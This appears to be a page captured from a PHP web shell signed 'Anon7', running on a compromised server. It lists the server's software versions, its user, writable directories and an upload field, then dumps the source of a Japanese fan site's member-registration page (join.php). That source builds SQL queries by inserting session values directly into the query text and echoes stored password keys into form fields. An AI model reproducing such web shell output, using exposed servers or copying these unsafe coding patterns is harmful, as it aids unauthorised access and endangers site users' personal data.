KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/jaejoong_X/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/queenjbs/jaejoong_X/pages/join.php
<?php

	include $_SERVER['DOCUMENT_ROOT']."/conf/conf_dir.php";

	//$PAGE_GUBUN =	"profile";

	include $_SERVER['DOCUMENT_ROOT']."/pages/inc_top.php";

?>
<script type="text/javascript" src="/sys_css_js/default.js"></script>
<script>
function checkIsZenkaku(value) {
  for (var i = 0; i < value.length; ++i) {
	var c = value.charCodeAt(i);
	//  半角カタカナは不許可
	if (c < 256 || (c >= 0xff61 && c <= 0xff9f)) {
	  return false;
	}
  }
  return true;
}

function check() {
	var strID = document.form.id.value;
	var err = 0;
	for (var i=0; i<strID.length; i++)  {
		var chk = strID.substring(i,i+1);
		if(!chk.match(/[0-9]|[a-z]/)) {
			err = err + 1;
		}
	}

	if (err > 0) {
		 alert("アルファベット(小文字)・数字のみ入力可能です。");
		 document.form.id.focus();
		 return false;
	}
	if (strID.length < 6 || strID.length > 15) { //갯수체크
		alert ("半角英数字6~14文字");
		document.form.id.focus();
		return false;
	}

	if (checkIsZenkaku(strID)) {
		alert("半角小文字でご入力頂きます様お願い致します");
		strID ="";
		document.form.id.focus();
		return false;
	}
	idChk();
}


</script>

 <div id="page_index">
  <a href="default.php">HOME</a> > JOIN(会員登録)
 </div>

 <div id="sub_content_box">
	<?
	if($sessionIDX)
	{
  include"./inc_mypage_tab.php";
			$res = Get_dbres("select * from user where id = '$sessionIDX'");
			$row	= mysql_fetch_array($res);
			$m_startdate  = explode("-","$row[m_startdate]");
			$m_enddate = explode("-","$row[m_enddate]");

			$resub = Get_dbres("select * from user_profiles where user_id = '$sessionIDX'");
			$rows	= mysql_fetch_array($resub);

			$tel	= explode("-","$rows[tel]");
			$juso	= $rows[juso];
			$birthday = explode("-","$rows[birthday]");
	}
	?>
 	<div id="form_900">
   <form id="form" name="form" enctype="multipart/form-data">

    <input type='hidden' name="mode">
    <input type='hidden' name="idx">
    <input type='hidden' name='idchk'>
    <input type='hidden' name='nickchk'>

    <table width="100%" class="basic_table">
     <colgroup>
      <col width="20%" />
      <col width="80%" />
     </colgroup>
     <tbody>
     <tr>
      <th class="title_le_w_top">会員ID</th>
      <td class="title_ri_w_top">
			<?if($sessionIDX) {echo "<b>$row[userid]</b>";}else{?>
				<input  type="text" name="id" value="<?=$row[userid]?>"  maxlength="14" class="ipt" style="ime-mode: disabled"/>&nbsp;&nbsp;&nbsp;
				<a href="#" onclick="check();" style="text-decoration:none"><span>[ IDチェック ]</span></a>&nbsp;&nbsp; 半角英数字6~14文字
			<?}?>
     </tr>
     <tr>
      <th class="title_le_w">名前 ( 漢字 )</th>
      <td class="title_ri_w"><input type="text" name="jname2" value="<?=$row[jname2]?>" class="ipt" ></td>
     </tr>
     <tr>
      <th class="title_le_w">名前(カタカナ)</th>
      <td class="title_ri_w"><input type="text" name="jname" value="<?=$row[jname]?>" class="ipt"></td>
     </tr>
     <tr>
      <th class="title_le_w">名前(ローマ字)</th>
      <td class="title_ri_w"><input type="text" name="username" value="<?=$row[username]?>" class="ipt">&nbsp;&nbsp;お名前は半角小文字でご入力頂きます様お願い致します。</td>
     </tr>
     <tr>
      <th class="title_le_w">ニックネーム</th>
      <td class="title_ri_w"><input type="text" name="nickname" value="<?=$row[nickname]?>" class="ipt">&nbsp;&nbsp;<a href="#" onclick="nickChk()" style="text-decoration:none"><span class="id_chk">[ ニックネームチェック ]</a></td>
     </tr>
     <tr>
      <th class="title_le_w">パスワード</th>
      <td class="title_ri_w"><input type="password" name="pw" maxlength="12" value="<?=$row[new_password_key]?>" class="ipt">&nbsp;&nbsp;[半角英数4文字以上12文字以内]</td>
     </tr>
     <tr>
      <th class="title_le_w">パスワード確認</th>
      <td class="title_ri_w"><input type="password" name="repw" maxlength="12" value="<?=$row[new_password_key]?>" class="ipt">&nbsp;&nbsp;大文字と小文字は区別されます。</td>
     </tr>
     <tr>
      <th class="title_le_w">電話番号</th>
      <td class="title_ri_w">
       <input type="text" name="tel1" size="4" maxlength="4" value="<?=$tel[0]?>" class="ipt">
       &nbsp;&nbsp;-&nbsp;&nbsp;
       <input type="text" name="tel2" size="4" maxlength="4" value="<?=$tel[1]?>" class="ipt">
       &nbsp;&nbsp;-&nbsp;&nbsp;
       <input type="text" name="tel3" size="4" maxlength="4" value="<?=$tel[2]?>" class="ipt">
     </td>
     </tr>
     <tr>
      <th class="title_le_w">Eメール</th>
      <td class="title_ri_w"><input type="text" name="email" value="<?=$row[email]?>"  size="37" class="ipt"></td>
     </tr>
     <tr>
      <th class="title_le_w">郵便番号</th>
      <td class="title_ri_w">
							<input type="text" name="zip1" size="4" maxlength="4" value="<?=$rows[zip1]?>" class="ipt">
       &nbsp;&nbsp;-&nbsp;&nbsp;
							<input type="text" name="zip2" size="4" maxlength="4" value="<?=$rows[zip2]?>" class="ipt">
      </td>
     </tr>
     <tr>
      <th class="title_le_w">住所</th>
      <td class="title_ri_w"><input type="text" name="juso" value="<?=$juso?>" size="37" class="ipt"> <br />住所は必ず都道府県からご入力ください </td>
     </tr>
     <tr>
      <th class="title_le_w">生年月日(西暦)</th>
      <td class="title_ri_w">
       <input type="text" name="byear" 	size="4" maxlength="4" value="<?=$birthday[0]?>" class="ipt"> 年 &nbsp;&nbsp;
       <input type="text" name="bmonth" size="4" maxlength="4" value="<?=$birthday[1]?>" class="ipt"> 月 &nbsp;&nbsp;
       <input type="text" name="bday" 		size="4" maxlength="4" value="<?=$birthday[2]?>" class="ipt"> 日 &nbsp;&nbsp;
      </td>
     </tr>
     <tr>
     	<td class="bottom_ce" colspan="2" style="padding-top:10px;">
       <img src="/images/member/btn_complete.gif" width="93" height="31" alt="利用規約に同意して申し込む" onclick="<?if(!$sessionIDX){?>check();<?}?>joinChk('<?=$sessionIDX?>')" style="CURSOR: pointer"/>
       <span class="padding_left11"><a href="<?=$rootDir?>" style="CURSOR: hand;text-decoration:none" id="btn" class="btn_box"><img src="/images/member/btn_cancel.gif" width="93" height="31" alt="取り消し" /></a>
      </td>
     </tr>
     </tbody>
    </table>

   </form>
  </div>

 </div>



<?
  include"inc_footer.php";
?>

</body>
</html>

Anon7 - 2021